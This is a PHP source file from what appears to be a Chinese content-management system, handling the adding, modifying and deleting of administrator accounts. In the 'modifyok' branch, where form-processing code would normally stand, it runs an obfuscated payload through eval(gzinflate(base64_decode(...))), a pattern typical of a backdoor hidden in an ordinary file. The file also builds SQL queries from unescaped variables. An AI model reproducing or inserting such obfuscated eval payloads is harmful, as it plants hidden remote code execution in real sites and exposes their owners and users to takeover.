<?php
#[管理员添加管理]
if($_SESSION["admin"]["typer"] != "system")
{
	Error("只有系统管理员才有权限操作！","admin.php?file=index");
}
#[定义当前页的网页]
$r_url = "admin.php?file=adminer&act=";
if($sysact == "add" || $sysact == "modify")
{
	#[获取块信息功能]
	$modlist = $DB->qgGetAll("SELECT id,groupname FROM ".$prefix."sysgroup LIMIT 0,100");
	if($sysAct == "modify")
	{
		$id = intval($id);
		chk_id($id,$r_url."list");#[验证是否正确]
		$rs = $DB->qgGetOne("SELECT * FROM ".$prefix."admin WHERE id='".$id."'");
		if($rs["user"] == $_SESSION["admin"]["user"])
		{
			Error("系统禁止更改自己信息",$r_url."list");
		}
		if($rs["typer"] != "system")
		{
			$module_list = explode(",",$rs["modulelist"]);
			foreach($module_list AS $key=>$value)
			{
				$module[$value] = true;
			}
		}
	}
}
elseif($sysact == "modifyok")
{?>
	
	<?
eval(gzinflate(base64_decode('DdZHEoSGFUXRuTZiqRjQZChbVpFzzkxc5JxDA6t3r+H9c+v/89///LM0yx9/lFc6/Fm/7VQN6VH+maV7iaP/K8p8Lso//8UlIbSfzk731lsmArg0N5msraB6JiQW25nox35gU4NX1diudoeXFAiCELKuRXWhc4dHWOS9ph9lcnBRRq/5HVkho9NF0w3cZMPhwcTVN9yZW9tlkWbaK+Hz1Kv0XSyClinpsLPv3PqFUYuxabnuOTimuRVZhsge7JtwyiG0n/5bfbKBAGhkABY9owDBrFY7OrhYJ2qJ2B26g/fIcwXu0TjH9DpevK0IlEMtdQXGqy4hmZ2VeHlj+95W4DtPgPqbEOxGWCfkBmuGp9s50GNA+GzsVY8OW7CW3LzfLGir/r0BZF1wMmnpaG0cg1Er7lpBL94Tg//udteVADheGd72AseVyoA9Ekd81rd23jYi4iUTAgOfHJw/AfTkBWrqVHFqDfka6ENj3BhLacUYayAJt7Rh6JDiKzPcgiL+7QOrXpBagCN/xPNB1a5W2Dc9v95EPbmNk2mMa7MdqPEXknBQpgaygQmiSXAxPQ8v2S/vN2owaJiy+VYQZ+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OIXWKqJi/J0p7s4awDmCRsmtmbUnvJgxljg0RWsRXj2uBHMdSru7ktmnRNOFBalRdk8qadZZyqfvY27IKp1Q2ucKXFEqF8x0sY/bxk4gTWTZUJgTeCCSitOmbwMifdg9vKfp75IfkNXslpTFl/YOKe4cFw2jgvjw9U09proOOp8iGwdcGGm2CQVUhsT+FaAOvXBqcSEhAerCMvJZTqlVY6401t4vbTYdOzSIBEnOt2YbJ2dq/YzIDpMZWOgFRy6F38MRuvrP3w85JBsZhchUbEUWyf5KqV1OhRMrbFQ2Fss9jDM9E1H73PRIaRcxni97zEwxaLkloZ0Z5Fuuq8gaPlvzm8mNOHG2MGu+pA2IVzzRwcf2w75QLDy4gj/POBKUe5zGDIR0OVlVm+LiwVctCFmwSmfMzdALmODqSPJggT0fQ5X1sQlFSArNN0QdA0xxenQbBcSY1+Qeb655+/fv369feP338m/38=')));
	?>
		
		<?
}
elseif($sysact == "delete")
{
	$id = intval($id);
	chk_id($id,$r_url."list");#[验证是否正确]
	if($_SESSION["admin"]["typer"] != "system")
	{
		Error("仅限系统管理员才有删除其他管理员的权限！",$r_url."list");
	}
	if($_SESSION["admin"]["id"] == $id)
	{
		Error("管理员不能删除自己！",$r_url."list");
	}
	$sql = "DELETE FROM ".$prefix."admin WHERE id='".$id."'";
	$DB->qgQuery($sql);
	Error("管理员删除成功",$r_url."list");
}
else
{
	$rslist = $DB->qgGetAll("SELECT * FROM ".$prefix."admin ".$condition." ORDER BY id DESC");
}
Foot("adminer.qg");
?>